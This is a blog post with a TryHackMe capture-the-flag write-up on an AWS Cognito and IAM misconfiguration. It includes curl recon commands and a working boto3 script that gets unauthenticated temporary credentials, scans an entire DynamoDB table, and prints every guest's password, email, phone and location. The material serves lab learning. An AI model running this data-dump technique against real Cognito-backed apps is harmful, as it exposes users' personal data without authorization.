DEV Community

Cover image for [TryHackMe Writeup] Complimentary
Wahiduddin Samani
Wahiduddin Samani

Posted on

[TryHackMe Writeup] Complimentary

Complimentary — AWS Cognito & IAM Misconfiguration

Target: http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/
Category: Cloud
Difficulty: Easy
Flag: THM{fr33_app_fr33_d4t4!}


Step-by-Step

Step 1 — Recon: Fetch the S3 Website

curl.exe -s http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/
Enter fullscreen mode Exit fullscreen mode

Found a static HTML page loading app.js and the AWS SDK.


Step 2 — Source Code Analysis: app.js

curl.exe -s http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/app.js
Enter fullscreen mode Exit fullscreen mode

Key findings:

const IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688";
const AWS_REGION = "us-east-1";
const TABLE_NAME = "complimentary-GuestWellnessProfiles";

AWS.config.credentials = new AWS.CognitoIdentityCredentials({
  IdentityPoolId: IDENTITY_POOL_ID,
});
Enter fullscreen mode Exit fullscreen mode

The app uses Cognito Identity Pool to issue temporary AWS credentials to unauthenticated users, then reads from DynamoDB.


Step 3 — Get Temporary AWS Credentials via Cognito

Using Python with boto3:

import boto3

client = boto3.client("cognito-identity", region_name="us-east-1")
identity_response = client.get_id(IdentityPoolId="us-east-1:836c0949-292d-485b-b532-52d5ca7bb688")
creds = client.get_credentials_for_identity(IdentityId=identity_response["IdentityId"])

print(f"AccessKeyId: {creds['Credentials']['AccessKeyId']}")
print(f"SecretKey: {creds['Credentials']['SecretKey']}")
print(f"SessionToken: {creds['Credentials']['SessionToken']}")
Enter fullscreen mode Exit fullscreen mode

Output:

[+] Got Cognito Identity ID: us-east-1:4d571309-b063-c4e6-e6d8-66e669ef0d6d
[+] Got temporary credentials:
    AccessKeyId: ASIAU2VYTBGYGDALDNDF
    SecretKey: fyKbPeg/OA5+secxeoe+...
    SessionToken: IQoJb3JpZ2luX2VjEMz//////////w...
Enter fullscreen mode Exit fullscreen mode

Step 4 — Scan DynamoDB Table

dynamodb = boto3.client(
    "dynamodb",
    region_name="us-east-1",
    aws_access_key_id=creds["Credentials"]["AccessKeyId"],
    aws_secret_access_key=creds["Credentials"]["SecretKey"],
    aws_session_token=creds["Credentials"]["SessionToken"],
)

response = dynamodb.scan(TableName="complimentary-GuestWellnessProfiles")
Enter fullscreen mode Exit fullscreen mode

Result: 5 items — Lambo, Ponzi, Vibe, Patch, and a hidden VIP profile.


Step 5 — Flag Found

The flag was in guest-vip-042's notes field:

notes: If you're reading this, the wellness app's guest role can read every profile, not just its own. THM{fr33_app_fr33_d4t4!}
Enter fullscreen mode Exit fullscreen mode

Vulnerability

  • Cognito Identity Pool allows unauthenticated (guest) access
  • The UnauthRole IAM role grants dynamodb:Scan on the entire complimentary-GuestWellnessProfiles table
  • No row-level restriction — any visitor can dump every guest's data

Full Data Dump

guest_id name flag
guest-lambo Lambo (@0xMia)
guest-ponzi Ponzi (Satoshi_Probably)
guest-vibe Vibe (Move Fast & Break Things)
guest-patch Patch (Have You Tried Turning It Off)
guest-vip-042 Guest VIP-042 THM{fr33_app_fr33_d4t4!}

Tools Used

  • curl.exe — HTTP requests
  • boto3 (Python AWS SDK) — Cognito identity + DynamoDB scan


# Byte Lotus - Complimentary (AWS Cognito misconfiguration)
# Solves: THM{fr33_app_fr33_d4t4!}
#
# Usage: python solve_complimentary.py

import boto3

IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688"
REGION = "us-east-1"
TABLE_NAME = "complimentary-GuestWellnessProfiles"

# Step 1: Get Cognito Identity ID (unauthenticated guest access)
client = boto3.client("cognito-identity", region_name=REGION)
identity_response = client.get_id(IdentityPoolId=IDENTITY_POOL_ID)
identity_id = identity_response["IdentityId"]
print(f"[+] Got Cognito Identity ID: {identity_id}")

# Step 2: Get temporary AWS credentials
credentials_response = client.get_credentials_for_identity(IdentityId=identity_id)
creds = credentials_response["Credentials"]
print(f"[+] Got temporary credentials:")
print(f"    AccessKeyId: {creds['AccessKeyId']}")
print(f"    SecretKey: {creds['SecretKey'][:20]}...")
print(f"    SessionToken: {creds['SessionToken'][:30]}...")

# Step 3: Create DynamoDB client with temp credentials
dynamodb = boto3.client(
    "dynamodb",
    region_name=REGION,
    aws_access_key_id=creds["AccessKeyId"],
    aws_secret_access_key=creds["SecretKey"],
    aws_session_token=creds["SessionToken"],
)

# Step 4: Scan the entire table (UnauthRole has dynamodb:Scan)
print(f"\n[+] Scanning table: {TABLE_NAME}")
response = dynamodb.scan(TableName=TABLE_NAME)
print(f"[+] Found {len(response['Items'])} guest profiles:\n")

for item in response["Items"]:
    guest_id = item.get("guest_id", {}).get("S", "?")
    name = item.get("name", {}).get("S", "?")
    notes = item.get("notes", {}).get("S", "?")
    password = item.get("password", {}).get("S", "?")
    location = item.get("location", {}).get("S", "?")
    email = item.get("email", {}).get("S", "?")
    phone = item.get("phone", {}).get("S", "?")

    print(f"  guest_id: {guest_id}")
    print(f"  name:     {name}")
    print(f"  notes:    {notes}")
    print(f"  password: {password}")
    print(f"  location: {location}")
    print(f"  email:    {email}")
    print(f"  phone:    {phone}")
    print()

    # Check for flag in any field
    for key in item.keys():
        val = item[key]
        if "S" in val and "THM{" in val["S"]:
            print(f"  *** FLAG FOUND in {key}: {val['S']} ***\n")

Enter fullscreen mode Exit fullscreen mode

Top comments (0)